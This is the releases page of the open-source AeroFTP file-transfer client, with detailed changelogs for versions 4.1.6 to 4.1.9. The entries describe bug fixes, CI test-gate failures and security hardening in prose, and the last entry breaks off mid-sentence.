Download
Available for Linux, Windows and macOS. Free and open source.
Download AeroFTP
Cross-platform desktop, open source
All Platforms
Releases
v4.1.9 Latest 10d ago · 797 · 18 Assets
[4.1.9] - 2026-09-01
The Release That Stopped Believing Its Own Gates
Three CI lanes in this repository could report success having executed no tests at all, and one of them had been doing exactly that since May. A pull request said two review findings were closed by two tests, and one of those tests had never run in any run, because an attribute had landed between another test's #[test] and its function; the suite reported the same passing count either way. Six error-classification rules had never fired once, because the codes they look for are followed by a bracket and not a space. The pattern under all of it is the same: a green result that was measuring nothing, and no way to tell it apart from a green result that was measuring everything. What is fixed here is not only the individual defects but the instruments, so that the next time one of them is empty it says so.
Alongside that, FTP stops hanging on a refusal the server already sent, WebDAV survives a rotated Digest nonce on every path rather than five of them, Swift and Blomp accounts list their files again, and a private OpenStack that legitimately serves cleartext can now say so instead of being refused.
Added
- AeroSync preserves POSIX.1e access ACLs on Linux, opt-in, alongside the integrated protocol and metadata gaps closed in the same change. Owner, group and device files remain out of scope and are still listed as such.
- The language chip in the status bar is a way in, not only a readout. It opens Settings on the Interface sub-tab, where the language list actually lives, so the shortest path from noticing the language to changing it stops going through two panels. Its accessible name says what the button does rather than only what it reads.
- A private OpenStack that legitimately serves cleartext can say so. The guard that refuses an unencrypted object store after an encrypted login stays on by default; a profile can now opt in explicitly, which is what the Blomp preset does, instead of the guard being off for everyone.
- The app chrome can be restyled through published CSS tokens rather than through arbitrary user CSS. The tokens are a contract with names that stay stable, so a theme does not break on the next release the way a selector-based override would.
- The resume store has a screen, so the multipart checkpoint cap has an escape in the GUI and not only in
aeroftp checkpoints. - Quick Connect reaches a private OpenStack, and the Blomp tile carries its own identity rather than a generic Swift one.
Fixed
- Swift and Blomp accounts list their files again. The GUI opens a session on
., which Swift turned into the prefix./, and that matches no object: the server answered 200 with an empty array, so every account looked empty in the app with no error at all, while the CLI, which sends/, worked. - An FTP download of a file that is not there no longer waits for ever with the refusal already in the client. The wait was inside the data channel's TLS handshake, one step before the read loop that was already guarded, so a request the server accepted and then ignored had no deadline at all. Every data-channel opening now has one, listings have their own, and an expiry drops the session instead of handing the next command a reply that is still owed.
- A transfer the server closed was abandoned without a single retry, and reported as a disk error. Two wrong answers at once: the user was told their disk had failed, and the transfer that would have succeeded on the second attempt was not attempted.
- Six FTP classification rules had never fired once. They look for a status code followed by a space, while every failure this application renders puts a
]there. Quota, permission, not-found and authentication were decided by rules that could not see the shape the system produces, so a permanent refusal was retried three times. They were not uniformly dead, which is worse: a server that echoes its own code inside the message made the old rule match by accident, so the classification held against one server and silently stopped against another. - A lost FTP login was reported as a bad path.
[530] Not logged inwas presented as a naming problem, which sends the reader to check a path that was never wrong. Only the two replies that are about the name itself are treated as path errors now. - WebDAV re-negotiates a rotated Digest nonce on every request path, not five of them, and folder downloads honour the concurrent-transfers setting while doing it.
- A WebDAV download could panic the task that was running it. A server answering 425 while rotating its Digest nonce walked the retry loop off the end of its own range. The replay now has an attempt of its own, bounded, and the loop has no edge left to fall off.
- A Swift recursive delete could remove objects the caller never named. An object name is an opaque key, so
foo/../barandbarare two different objects; the path normalizer resolved the dot segments anyway, and a delete, a rename or a server-side copy addressed a different object than the one asked for. - A path holding CR or LF let the caller append a second FTP command, and the refusal was then filed as a network error and retried. Both halves are fixed: the command line rejects the characters, and the refusal is typed as what it is.
- Uploading a very large file no longer holds the whole file in memory, and neither does a segmented download: the cap applied to one request, while the peak was the smaller of the file size and 1 GiB.
- The B2 provider was told the bucket's encryption and lock settings at every connect and threw them away, so the header budget was computed from defaults that did not describe the bucket.
- Three Jottacloud trash operations that failed for a reporter, each for a different reason, and the reasons were not related to one another.
- A listing nobody could read is no longer reported as an empty directory, and the two FTP listing parsers became one, so the copy nobody had read stopped inventing files.
- Asking whether a parent exists is not asking whether it is a directory. The obvious correction reintroduced a bug that had already been fixed once, which is recorded next to the code so the third attempt does not repeat it.
- A keystore exit code was chosen by searching the error message for English words, so
--merge decryptreturned an authentication failure and--merge "io error"returned a disk fault, for the same invalid input. Cron jobs and CI branch on those numbers. The class now travels with the error, decided where the failure happens, in the archive CLI as well as the keystore. - 179 locale strings had their diacritics stripped, and a CI gate now stops the class growing. The remaining 66 in Swedish that the gate cannot see by construction were found by hand and restored, never reworded.
- Strings that shipped as raw English inside translated locales are gone, with a gate that keeps them out.
- A Swift recursive delete, rename or server-side copy could address a different object than the one asked for. An object name is an opaque key, so
foo/../barandbarare two different objects; the path normalizer resolved the dot segments anyway. Found by the pre-release audit, introduced earlier in this same cycle. - A WebDAV download could panic the task running it, when a server answered 425 while rotating its Digest nonce. Found by the pre-release audit.
- Six error classifications were blind to the shape providers actually produce and firing on byte counters instead. The rule looked for a status code followed by a space, so
Upload failed (403): ...was not recognised whileconnection reset after 550 of 1024 byteswas classified as a permanent permission failure and the transfer discarded. Ten providers render the unrecognised form. The criterion is now the position where a provider writes a status, read from the real code rather than assumed. - An FTP transfer could wait 1800 seconds for a refusal the client had already received. When a server sends the preliminary reply and the final refusal in one segment, the final one sits in the reader's buffer while the socket underneath looks empty, and the watcher was looking at the socket. It now looks at the layer the bytes are actually in.
- The multipart checkpoint cap could be exceeded by concurrent opens, and the fix for that could delete a record another opener had adopted. Both are the same question answered by omission, "is this record mine", once by counting someone else's deletion as your own and once by removing someone else's record believing it yours.
- The Swift auth-URL field silently revoked a ticked cleartext-storage consent on every keystroke, with the tick still drawn. Found by the pre-release audit.
- FTP probes MLST before listing rather than assuming the server supports it, with a fixture server in CI that answers the way the awkward servers do, so the branch is proved rather than reasoned about.
Changed
- pCloud's trash button is gone, because pCloud refuses its trash endpoints to OAuth tokens and no scope unlocks it. A control that cannot work is worse than an absent one.
- S3Drive is marked stable on evidence, and DigitalOcean Spaces is no longer hidden: it is a standard S3 connector and was being treated as experimental.
- The language chip moved to the edge of the status bar, behind its own divider. It is a readout, not an app button, and sitting between AeroAgent and DevTools it read as a third one.
- Contribution origin is certified with a DCO rather than a CLA. Contributors state where their code came from instead of signing rights over. The check uses no third-party action beyond the official checkout, because verifying provenance is the wrong place to add a supply chain dependency, and nothing is retroactive.
- The project licence identifier is
GPL-3.0-or-later, replacing the deprecatedGPL-3.0in every manifest and source header.
Security
- Three advisories affecting
russhas a client, which the project's own security gate is structurally unable to see: it audits the server side.russhmoves to 0.63.1. - A CI lane that runs no tests now fails instead of reporting success. The AeroRsync live lane was the first one fixed, and the same guard was then found missing on ten more selection points, one of which had been reporting success while executing nothing since May. Every point that selects tests now asserts how many actually ran.
- Pre-release audit: three independent auditors, one lane each, over the 55 commits of this cycle. Backend and protocols, frontend and CI and packaging, and a third lane asking a different question: does the code do what its own description says it does. Every confirmed finding was fixed before the tag rather than deferred. Two of them were introduced by this cycle and the rest predate it. The most consequential finding is not in this list because it is not a defect in shipped behaviour: three CI lanes could report success having executed no tests, and one had been doing so since May, which means part of the confidence this project had in its own gates was not earned. That is fixed above.
- Pre-tag commit audit: PASS. Run on the exact commit being tagged rather than on the branch, because the two are not the same reading:
concurrency: cancel-in-progressmeans a merge landing close behind another can kill the first commit's run so that it never restarts, leaving a job that never concluded on that commit while the branch looks green. Zero such orphaned runs on this commit, zero incomplete, zero failed, across Linux, Windows and macOS on both architectures. Checked separately, because it covers a different defect: all 16 pull requests merged into this release hadFormat, audit & unit testsgreen ON THEIR OWN HEAD, which is what says the CONTENT was verified, while the check above says the INTERACTION with the branch it landed on was.
Contributors
<img src="https://github.com/EhudKirsh.png?size=48" width="48" height="48" alt="@EhudKirsh" />Downloads:
- Windows:
.msiinstaller,.exe, or.zipportable (no installation required) - macOS:
.dmgdisk image - Linux:
.deb,.rpm,.snap, or.AppImage
- AeroFTP-4.1.9-1.x86_64.rpm - 147.2 MB · 12×
- AeroFTP-4.1.9-1.x86_64.rpm.sigstore.json - 10 KB · 4×
- AeroFTP-4.1.9-portable-windows-x64.zip - 86.2 MB · 35×
- AeroFTP-4.1.9-portable-windows-x64.zip.sigstore.json - 9.9 KB · 2×
- AeroFTP_4.1.9_aarch64.dmg - 84.6 MB · 41×
- AeroFTP_4.1.9_aarch64.dmg.sigstore.json - 9.9 KB · 14×
- AeroFTP_4.1.9_amd64.AppImage - 89.2 MB · 33×
- AeroFTP_4.1.9_amd64.AppImage.sigstore.json - 9.8 KB · 2×
- AeroFTP_4.1.9_amd64.deb - 73 MB · 134×
- AeroFTP_4.1.9_amd64.deb.sigstore.json - 10.1 KB · 82×
- aeroftp_4.1.9_amd64.snap - 210.3 MB · 2×
- aeroftp_4.1.9_amd64.snap.sigstore.json - 10.1 KB · 0×
- AeroFTP_4.1.9_x64-setup.exe - 60.5 MB · 228×
- AeroFTP_4.1.9_x64-setup.exe.sigstore.json - 9.9 KB · 35×
- AeroFTP_4.1.9_x64.dmg - 88.5 MB · 9×
- AeroFTP_4.1.9_x64.dmg.sigstore.json - 9.8 KB · 5×
- AeroFTP_4.1.9_x64_en-US.msi - 86.4 MB · 137×
- AeroFTP_4.1.9_x64_en-US.msi.sigstore.json - 9.8 KB · 22×
v4.1.8 16d ago · 557 · 18 Assets
[4.1.8] - 2026-08-26
The Release That Audited Itself
Four independent adversarial audits ran over the 111 commits behind this release, then two independent merges of those four reports were reconciled against each other. They found a checkbox that handed a private key to every account on the machine, a security guard silently removed for every OpenStack account while the provider it was meant for shipped as stable over cleartext, a discovery feature that had never once reached the network, and a release script that executed the file it documents itself as only inspecting. Every one of them is fixed here. The useful lesson is not the count: only two defects were found by all four auditors, thirteen by exactly one, and three auditors cleared kDrive discovery by reading the provider function when the defect was in its caller. Alongside that, Quick Connect learns to discover buckets and drives, rclone export covers Zoho WorkDrive and crypt overlays, and the resume-record store finally stops growing forever. 47 languages, with 47 strings this release had shipped with their diacritics stripped put back, 28 mangled Icelandic strings retranslated, and 187 banned dash characters removed with the validator now rejecting them.
Added
- Quick Connect discovers your S3 and Backblaze buckets and your kDrive drives, instead of asking you to type a name you may not remember. Manual entry stays. Quota fields take numeric units, OAuth shows the real callback URL, and the Crypt scope text says what it actually scopes (#369).
- Export to rclone.conf covers Zoho WorkDrive and rclone-crypt overlays. Zoho was gated shut by a test claiming rclone had no zoho backend; it has had one for years. A crypt overlay emits a sibling
type = cryptremote whoseremote = <base>:<path>is the Overlays Path (@EhudKirsh, #347). - Text files open in preview rather than an invisible editor tab, Filen reports the storage held by retained versions, and Properties makes read-only and hidden editable where they are real attributes (@EhudKirsh, #347).
- Add Service form tabs can be dragged to reorder, with the same inherit-slot drop My Servers uses, and the typed fields stay with their tab (@EhudKirsh, #347).
aeroftp checkpointslists and forgets multipart resume records. The store documented an escape for a decommissioned server that nothing could call; the listing is what makes it usable, since forgetting matches four exact strings nobody could otherwise supply.- CLI, GUI and MCP parity is measurable:
inventorynow sees the Tauri command surface and diffs it against the other two.
Changed
- Error correction is abbreviated EC everywhere, and ECC is left to mean Elliptic Curve Cryptography. 26 bare occurrences renamed; task ids, on-disk directories and the wire-format field keep their spelling, and the notes now say why (@EhudKirsh, #347).
Fixed
- Ticking read-only on a symbolic link changed the permissions of the file it pointed at. The mode was read without following the link and written with a call that does follow, and a Linux symlink always reports 0777, so a convenience link to a private 0600 key wrote 0577 onto the key and handed it to every other account on the machine. Un-ticking wrote 0777. The dialog then reported the file as still writable, so there was no sign anything had happened.
- Swift and OpenStack accounts no longer send your access token in the clear without telling you. A guard that refused a cleartext object store after an encrypted login had been removed for every account, while Blomp was promoted to the production grid in the same release. Blomp still works, because the provider preset declares that its storage offers no encryption, not because the guard is off.
- Quick Connect "Discover drives" works for kDrive. It had never worked: the shared placeholder is rejected by the numeric drive-id check, so every click failed before a single request left the app.
- Folder downloads over WebDAV honour the concurrent-transfers setting instead of running one file at a time, and Digest authentication now survives running them in parallel (@roflhouse, #591).
- An exported crypt remote could quietly take another profile's name in rclone.conf. rclone merges duplicate sections, so the encrypted remote you thought you had exported did not exist, and syncing to that name wrote plaintext where you meant ciphertext. Skipped profiles are now reported instead of being a comment in the file.
- One unreadable resume record no longer fails every multipart upload to every provider. It is skipped rather than fatal, and the store's size cap stops silently giving up when a record cannot be deleted.
- The transfer card no longer offers Cancel as if it were Dismiss just before the end. The lock used the rounded percentage, so at 99.6 the padlock became a close button that cancels; the minimized chip closed itself three seconds into a live transfer.
- Importing an AeroSync template with more than one path pair no longer applies one and discards the rest in silence, and one with none no longer applies empty paths (@EhudKirsh, #514).
- Discovery cannot show you the previous account's buckets. A response still in flight when credentials changed wrote its results into the form and auto-selected them, and changing only an STS role left the old role's results selectable with no race at all.
- Bucket discovery, drive discovery and the Filen quota breakdown all give up in seconds rather than holding the window for half an hour when an endpoint accepts the connection and then stalls.
- Blomp connects again instead of failing with a misleading TempAuth 404 (#584).
- Compare no longer decrypts an explicitly named vault with this connection's overlay cache, which dropped every row and read as "no differences" (@EhudKirsh, #600).
- rclone.conf export no longer writes a Zoho remote rclone cannot list, or an S3 crypt overlay pointing at the wrong bucket. A profile with no root folder is skipped with a reason rather than counted as exported.
- Community triage: Trash table columns and alignment, overlapping Duplicate and AeroSync scans, transfer-progress toggles, Filen credential generation, pCloud naming, and stable My Servers drag and drop (@EhudKirsh, #609, #364, #453).
- CUSTOM / GENERIC SERVERS uses the one badge order and its own method glyphs instead of drawing a single icon for four different entries, and CatalogTable badges come from the shared glyph map (@EhudKirsh, #347).
- 47 locale strings shipped by this release had their diacritics stripped, and 28 Icelandic strings were corrupted rather than merely misspelled. One of those was telling Icelandic users that transfer mode presets do not apply to SFTP, which is untrue. 187 banned dash characters across all 47 files are gone, and the validator now rejects them so the rule stops being one that is only checked by hand.
- Finnish UI strings restored: two stripped-diacritic strings and a drag-and-drop verb that read as a print run (#625).
- The AUR release preflight no longer executes the package file it claims only to inspect. It sliced out the top-level assignments and evaluated them, which runs anything hidden in an assignment.
- A local process can no longer break an OAuth sign-in by reaching the callback port first. The listener took one connection and handed on whatever arrived, so the real browser redirect found nothing listening.
- The generated command inventory no longer advertises commands the binary does not contain.
- Security: h2 is bumped to 0.4.16, closing RUSTSEC-2026-0258 (#597).
- Pre-tag commit audit: PASS. Every commit in the cycle was reviewed again hours before the tag, in two independent lanes that each reviewed the other's work, on the principle that fixes are where new defects come from. It was right: three of the five findings were introduced by the fixes themselves. A shared Digest nonce read twice in a log line could panic mid-rotation, the checkpoint cap ran after the write it was meant to bound, and the OAuth callback read for thirty seconds per stray connection while the real redirect waited. A Tauri command with no caller was removed rather than left as an orphan export. The committed command-surface snapshot was stale, and the drift check that should have caught it turned out to exist while no workflow invoked it, so it is now wired into CI: a gate nobody runs is not a gate.
Contributors
<img src="https://github.com/EhudKirsh.png?size=48" width="48" height="48" alt="@EhudKirsh" /> <img src="https://github.com/roflhouse.png?size=48" width="48" height="48" alt="@roflhouse" />Downloads:
- Windows:
.msiinstaller,.exe, or.zipportable (no installation required) - macOS:
.dmgdisk image - Linux:
.deb,.rpm,.snap, or.AppImage
- AeroFTP-4.1.8-1.x86_64.rpm - 146.3 MB · 12×
- AeroFTP-4.1.8-1.x86_64.rpm.sigstore.json - 10.1 KB · 2×
- AeroFTP-4.1.8-portable-windows-x64.zip - 86.1 MB · 43×
- AeroFTP-4.1.8-portable-windows-x64.zip.sigstore.json - 10 KB · 5×
- AeroFTP_4.1.8_aarch64.dmg - 84.5 MB · 21×
- AeroFTP_4.1.8_aarch64.dmg.sigstore.json - 9.9 KB · 5×
- AeroFTP_4.1.8_amd64.AppImage - 88.7 MB · 26×
- AeroFTP_4.1.8_amd64.AppImage.sigstore.json - 10 KB · 3×
- AeroFTP_4.1.8_amd64.deb - 72.5 MB · 98×
- AeroFTP_4.1.8_amd64.deb.sigstore.json - 10.1 KB · 64×
- aeroftp_4.1.8_amd64.snap - 209.7 MB · 3×
- aeroftp_4.1.8_amd64.snap.sigstore.json - 10 KB · 0×
- AeroFTP_4.1.8_x64-setup.exe - 60.2 MB · 143×
- AeroFTP_4.1.8_x64-setup.exe.sigstore.json - 10 KB · 18×
- AeroFTP_4.1.8_x64.dmg - 88.3 MB · 3×
- AeroFTP_4.1.8_x64.dmg.sigstore.json - 10 KB · 2×
- AeroFTP_4.1.8_x64_en-US.msi - 86.3 MB · 97×
- AeroFTP_4.1.8_x64_en-US.msi.sigstore.json - 10 KB · 12×
v4.1.7 1mo ago · 972 · 18 Assets
[4.1.7] - 2026-08-08
Summer Release: AeroRsync Extended Attributes, a Rebuilt Duplicate Finder, and Two Independent Pre-Tag Audits
The release that goes looking for the bugs that do not announce themselves. AeroRsync gains extended attributes end to end against stock rsync, -X is on by default on Unix, and the file-list, out-of-band and oversized-datum paths that carry them are bounded against a hostile peer. The Find Duplicates dialog is rebuilt around the thing it was missing: the choice of which copy to keep, with real hashes, real distances (the fuzzy "distance" was a hash value, so any sort by similarity was meaningless), live scan progress, thumbnails and per-file sizes. Seventeen provider trash views become one sortable table. A hostile-name sweep across every writable provider profile found six defects, four of which could make sync --delete remove the user's own local files, and one XML entity bug that mangled any filename with & next to a space in every listing. On Linux, six destructive actions had been asking a confirmation nobody ever saw, because WebKitGTK does not implement window.confirm: on that platform an account could be deleted with no question asked. The Snap stopped shipping a payload its own base cannot load, a break that had gone out for roughly thirty releases, and the invariant is now proven before publishing rather than assumed. Two independent adversarial audits were run before this tag, the second reviewing all 333 code candidates since v4.1.6; both are recorded in the repository, findings and accepted debt included. 47 languages, with about 5,400 strings restored word by word after a mechanical pass had stripped their diacritics.
Added
- AeroRsync preserves
user.extended attributes end to end, verified against stock rsync 3.2.7, with-Xenabled in production on Unix. The work landed in stages: the file-list extended-attribute block, the out-of-band path for attributes too large to fit in an entry, then reading and applying localuser.when a session opts in. - Find Duplicates gives the choice of which copy to keep back to the user. Any copy can be ticked, and a selection that would leave a group with no copy is confirmed by name rather than blocked. With it: per-file byte sizes, spread sorting, a 128-bit hash readout, a thumbnail on every row, and the modal scrollbar that a WebKitGTK workaround had been suppressing.
- Find Duplicates shows the hashes, sorts by similarity and takes a cutoff. The Fuzzy cutoff had never reached the engine, so the per-type defaults were the only thing anyone could actually run.
- Copy and open buttons on every duplicate row. The Copy glyph in that dialog was decorative, so comparing two candidates meant reading the path off the screen.
- Compare and Find Duplicates report files, folders, bytes, depth and elapsed time while they scan. Compare needed no new backend: the events had been emitted since the recursive scan landed and nothing was listening.
- One sortable trash table for all seventeen providers, with a Type column, aligned name header, single-line timestamps, Shift ranges, Ctrl adding and a rubber band, in a shared component instead of seventeen copies with no sorting at all.
- Calculate Size, Find Duplicates and Disk Usage run on the directory you are in, from the empty space of the panel or from any breadcrumb segment including the collapsed ancestors, instead of only from a folder row one level up (@EhudKirsh, #347).
- My Servers says which providers encrypt on this device, reading the same list as the Add Service badge, with a test holding both surfaces to it. MEGA S4 stays unbadged on purpose: it is S3 and the server holds the keys.
- Image previews on the remote panel, plus a shared LRU thumbnail cache bounded in bytes and keyed by size and mtime, which changing directory no longer clears.
- The server-side trash is reachable from the CLI (@EhudKirsh, #397).
- The Checksum tab says what a backend can hash before you click, and hashing works inside the Overlays Path again (@EhudKirsh, #347).
- Blomp is a production provider (40 GB free, OpenStack Swift), after its API turned out to work: the 403 that had it parked is only on the account listing, which the client never needs.
- The status bar describes the page you are on, and 📜 Log joins ↑↓ Queue (@EhudKirsh, #347).
Changed
- The build toolchain moved to TypeScript 7. A release-note item rather than a lockfile detail, because
tscsits on the production build chain. - The README provider logo grid is generated from the catalog, so it cannot drift from the other two public tables or list a company twice (@EhudKirsh, #347).
- The company is called Drime, not Drime Cloud, and the catalogue had it inverted as though the drive were a product under a parent. README,
docs/PROVIDERS.mdandcli_catalog.jsonare regenerated from the corrected entry (@EhudKirsh, #347). - TAB.DIGITAL is capitalised on the documentation site too, and the suggested profile name is a brand name rather than an internal slug (@EhudKirsh, #347).
- Discover no longer promises a perpetual free tier on three providers that only offer a trial. AWS S3 and Azure Blob give 5 GB for 12 months, Alibaba OSS 1 to 3 months, and Blomp's free quota is corrected to 40 GB.
- One glyph and one order per connection method, shared by the My Servers table and Quick Connect: inside the table, API and S3 had been drawing the same glyph, separated only by a colour no legend explains (@EhudKirsh, #347).
- The pricing filter on Add Service is a preference again, not a per-visit choice (@EhudKirsh, #274).
Fixed
- A filename with
&next to a space was mangled in every listing, so a GET of the displayed name returned 404 andsync --deleteoffered to delete the real local file. Seventeen XML readers now keep entity-adjacent fragments, re-proved live over MinIO and Nextcloud with zerodelete_local. - A hostile-name sweep across every writable provider profile found six defects, four of which could make
sync --deleteremove real local files: Azure listed nested folders as empty, every strict S3 endpoint (AWS, B2, R2, Alibaba, Storj, Tencent, Oracle, MEGA) could not create a folder at all, FileLu WebDAV files would not download, and FileLu S3 returned double-encoded names. 36 providers now pass end to end. - Six destructive actions asked a confirmation the user never saw. WebKitGTK does not implement the script dialogs, so
window.confirmreturns without drawing and the caller proceeds as if the user had agreed: on Linux an account went with nothing asked. H18 of the v2.6.4 audit had regressed; it is a test now. - The Find Duplicates delete confirmation could not be answered: the second asker sat at the same z-index as the finder, under its click-swallowing backdrop. The app-wide confirm now sits one explicit scale above every modal tier.
- The fuzzy duplicate distance was a hash value, not a distance, on the raster and text arms both, so a pair two bits apart could report billions.
- AeroSync stopped deleting the Plan and Sync settings on a tab switch. The tabs render conditionally, so leaving one unmounted it and React dropped all fourteen state values; they now live in a store owned by the dialog (@EhudKirsh, #347).
- AeroSync could not export a template in any of its four formats, and the titlebar would not drag from its right half (@EhudKirsh, #511, #514).
aeroftp-cli findreportedstatus: okwith zero matches on a directory full of files whenever--profilewas used: with a profile the positionals shift left, so the pattern arrived inpathand the search ran onpath's own default. A silent wrong answer, not a visible failure.aeroftp-cli connectreported a plausible port and an empty username instead of the real ones, because it rebuilt them by parsing the human-readableserver_infotext.- The Tauri commands that block stopped doing it on the window's thread. A synchronous
#[tauri::command]runs on the GTK thread, solist_subdirectorieswalking a dead network mount froze the whole window; the scoping count was wrong too, 82 synchronous out of 853 rather than 38 (#517). - Icons and Large Icons cropped every thumbnail to a square instead of showing the image, and Large Icons looked up remote paths on the local disk (@EhudKirsh, #347).
- Provider logos work as user avatars and are no longer cropped (@EhudKirsh, #550).
- A dropped profile lands on the blue line instead of one row past it, a stale text selection no longer locks a row in place, and a drag under a protocol chip reorders the visible list rather than the wrong vault slots (@EhudKirsh, #453).
- Zoho WorkDrive moves a file or folder across directories again (@EhudKirsh, #451).
- Jottacloud delete and Move to Trash work end to end, confirmed against a live account, and a folder deleted on MEGAcmd goes to the Rubbish Bin like a file does (@EhudKirsh, #397).
- Nextcloud features are detected by asking the server, not by how the profile URL was typed.
- An exported profile carries the OAuth app that refreshes its token and the region that picks its data centre; a 4shared profile carries its own token and its own app.
- AeroSync Compare stopped reporting "no differences" over a folder that has them, and Filen stopped dating every upload at the moment it was transferred (@EhudKirsh, #347).
- The file picker that did nothing now says why, in all 68 places (#510).
- Add Service keeps the search term, the pricing filter and every section when switching between grid and table.
- A NAS that is too old for zstd gets real delta sync again: one predicate was asking the wrong question. We were also advertising four compressors while driving two, and ranking one we cannot drive above one we can.
- The Snap stopped shipping a payload its own base cannot load (GLIBC_2.38 against a core22 base, out since v3.7.2), the Snap GUI paints again under strict confinement, and both invariants are now proven in CI, one by an ABI gate derived from the base snap itself and one by a captured frame (#460, #462).
- Linux builds ask EGL before switching WebKit's GPU compositor off, instead of switching it off for everyone.
- A portable install can be deleted again, because the vault files no longer lock out the user who owns them.
- The weekly Snap refresh no longer goes red for a tag that predates
graphics-core22: it skips with a job summary, andforcecannot override that. - Serbian ships fully in Cyrillic, and 26 locales got their stripped diacritics back, about 5,400 strings restored word by word in sentence context after the mechanical pass that invented "partagé" was reverted and redone natively (#512, #513). A separate sweep found 32 phantom i18n keys, now translated in all 47 locales.
- Reading extended attributes no longer follows a symlink to its target, which would have broken symlink uploads now that
-Xis live, and a batch transfer carries the extended-attribute policy of the transport that opened it instead of dropping it in silence. - The intermittent
invalid rsync protocol version: 2015297409failure is fixed: the write path was discarding the server preamble. - Public documentation stopped overstating and understating the same product. The rsync comparison separates what AeroFTP does at another layer on purpose from what is genuinely not implemented, two parity-matrix claims that nothing was checking were removed, and the CLI guide no longer denies an rclone OAuth export that has shipped for eight providers.
- CI stopped blaming commits for infrastructure. A slow Ubuntu mirror, a Docker Hub outage and a cold portal start each used to surface as a code failure or, worse, as a green exit; each now reports itself as what it is (#518, #521).
Security
- Two independent adversarial pre-tag audits. The first, recorded in the repository, withheld its green pass with one blocker and five majors; the second reviewed all 333 code candidates (236 non-merge) and 342 changed files since v4.1.6 across AeroRsync, providers, crypt and core security boundaries, frontend, CI, release workflows and dependencies, and returned PASS with every release-blocking finding fixed and covered by regression tests. Both verdicts, and the debt that was accepted rather than fixed, are in
docs/security-evidence/. The gate behind that pass: 718 frontend tests, 3,453 Rust library tests, 502 CLI tests, Clippy on all targets with warnings denied, 46 of 46 non-English locales at 5,185 keys each with zero errors or placeholders,npm auditat zero andcargo auditclean over 1,186 dependencies. - Peer-controlled AeroRsync state is bounded: extended-attribute wire state, retry buffering and out-of-band datum resolution, plus a hostile peer can no longer land a setuid binary through the applied file mode.
- Tokens stay with the host that issued them. The S3 client had no redirect policy and
x-amz-security-tokenis not on reqwest's strip list, so an STS session token could be replayed to whatever host a redirect named; Swift refuses authenticated redirects outright and binds the token to the storage origin the authentication response returned, rejecting a bad scheme, URL-embedded credentials and an HTTPS to HTTP downgrade. - An incomplete provider listing or a swapped provider session can no longer authorise a local delete or an actionable compare plan, and atomic sync write staging is unique and durable under concurrent writers.
- The speed-test overwrite guard was itself fail-open:
stat(path).is_ok()read every error as "the path is free", so an expired token or a provider 5xx let the upload-then-delete sequence run on a real user file. It now proceeds only on an explicit not-found, refuses public web roots and their descendants, and no longer leaks a connected session when cancelled mid-setup. - Crypt raw-write protection stays armed under a view-only lock and fails closed on ambiguous path scope; the AeroCrypt modal no longer rebuilds the silent salt downgrade; hash-drop plaintext staging is created atomically in a random owner-only directory.
- AeroTools hardened across hostile imports, secret-bearing exports and remote probes, and a traversal guard was restored to
server_copy. - Published release assets are immutable, so re-running a tag build can no longer swap binaries under a manifest that already pinned their digests, and winget publishes both installers again.
- Advisories closed: RUSTSEC-2026-0221 (
event-listener), RUSTSEC-2026-0235 (rkyv0.7.46, reached four levels down throughtauri-plugin-log), threerusshadvisoriescargo auditcannot see, GHSA-fxqj-rqcc-2cmp (postcss) and GHSA-m65r-rprj-r5rg (russh0.62.5). - Accepted and still open, stated rather than folded into the pass: SEC-2, the Sigstore hard-gate and published-digest product flow; PROV-4, Swift recursive-delete pagination beyond 10,000 objects.
Contributors
Thanks to the people who shaped this release:
<img src="https://github.com/EhudKirsh.png?size=48" width="48" height="48" alt="@EhudKirsh" />
Downloads:
- Windows:
.msiinstaller,.exe, or.zipportable (no installation required) - macOS:
.dmgdisk image - Linux:
.deb,.rpm,.snap, or.AppImage
- AeroFTP-4.1.7-1.x86_64.rpm - 145.4 MB · 19×
- AeroFTP-4.1.7-1.x86_64.rpm.sigstore.json - 10 KB · 6×
- AeroFTP-4.1.7-portable-windows-x64.zip - 85.2 MB · 73×
- AeroFTP-4.1.7-portable-windows-x64.zip.sigstore.json - 10 KB · 9×
- AeroFTP_4.1.7_aarch64.dmg - 83.9 MB · 43×
- AeroFTP_4.1.7_aarch64.dmg.sigstore.json - 9.8 KB · 4×
- AeroFTP_4.1.7_amd64.AppImage - 88.2 MB · 54×
- AeroFTP_4.1.7_amd64.AppImage.sigstore.json - 10.1 KB · 3×
- AeroFTP_4.1.7_amd64.deb - 72.2 MB · 130×
- AeroFTP_4.1.7_amd64.deb.sigstore.json - 10 KB · 79×
- aeroftp_4.1.7_amd64.snap - 209 MB · 8×
- aeroftp_4.1.7_amd64.snap.sigstore.json - 9.9 KB · 0×
- AeroFTP_4.1.7_x64-setup.exe - 59.9 MB · 254×
- AeroFTP_4.1.7_x64-setup.exe.sigstore.json - 10 KB · 25×
- AeroFTP_4.1.7_x64.dmg - 87.7 MB · 9×
- AeroFTP_4.1.7_x64.dmg.sigstore.json - 10.1 KB · 3×
- AeroFTP_4.1.7_x64_en-US.msi - 85.5 MB · 226×
- AeroFTP_4.1.7_x64_en-US.msi.sigstore.json - 10.1 KB · 27×
v4.1.6 1mo ago · 982 · 18 Assets
[4.1.6] - 2026-07-25
AeroRsync Closes the Gap With rsync, a Stabilised DAG Transfer Engine, and MTP Portable Devices
The longest-running thread in the project lands: AeroRsync gains the negotiated checksums, end-to-end symlinks and streaming signatures that were the remaining distance to stock rsync, and the legacy parallel server stack retires so production has exactly one path, the one that is tested byte-identical against rsync --server. The DAG transfer engine stops being a promising core and becomes the engine: a process-global hierarchical governor, durable multipart checkpoints, a streaming work frontier, endpoint-aware adaptive AIMD and SizeFair scheduling, with five more providers promoted onto native multipart workers. Measured against rclone on the lab, multi-file FTPS moved from 8-18% behind to parity and the FTPS single-stream default is now 41% ahead. A new protocol arrives with it: MTP/WPD portable devices, phones and cameras that the OS never gives a drive letter, with their own profile type keyed to a device fingerprint. AeroCrypt gains v4 keyslots, so a vault can be unlocked by more than one credential without re-encrypting it. A sync stack audit closes the release's most serious finding - a crafted remote filename reached the remote login shell through rsync-over-SSH - along with a class of scan-completeness holes where a truncated remote listing could steer a sync into deleting local data. 47 languages translated.
Added
- Portable devices over MTP and WPD, a new protocol with its own profile type: attached phones, cameras and media players that the OS never mounts as a drive now appear under PLACES > Portable devices and browse and transfer through the same dual-panel fabric as every other provider, via a Linux
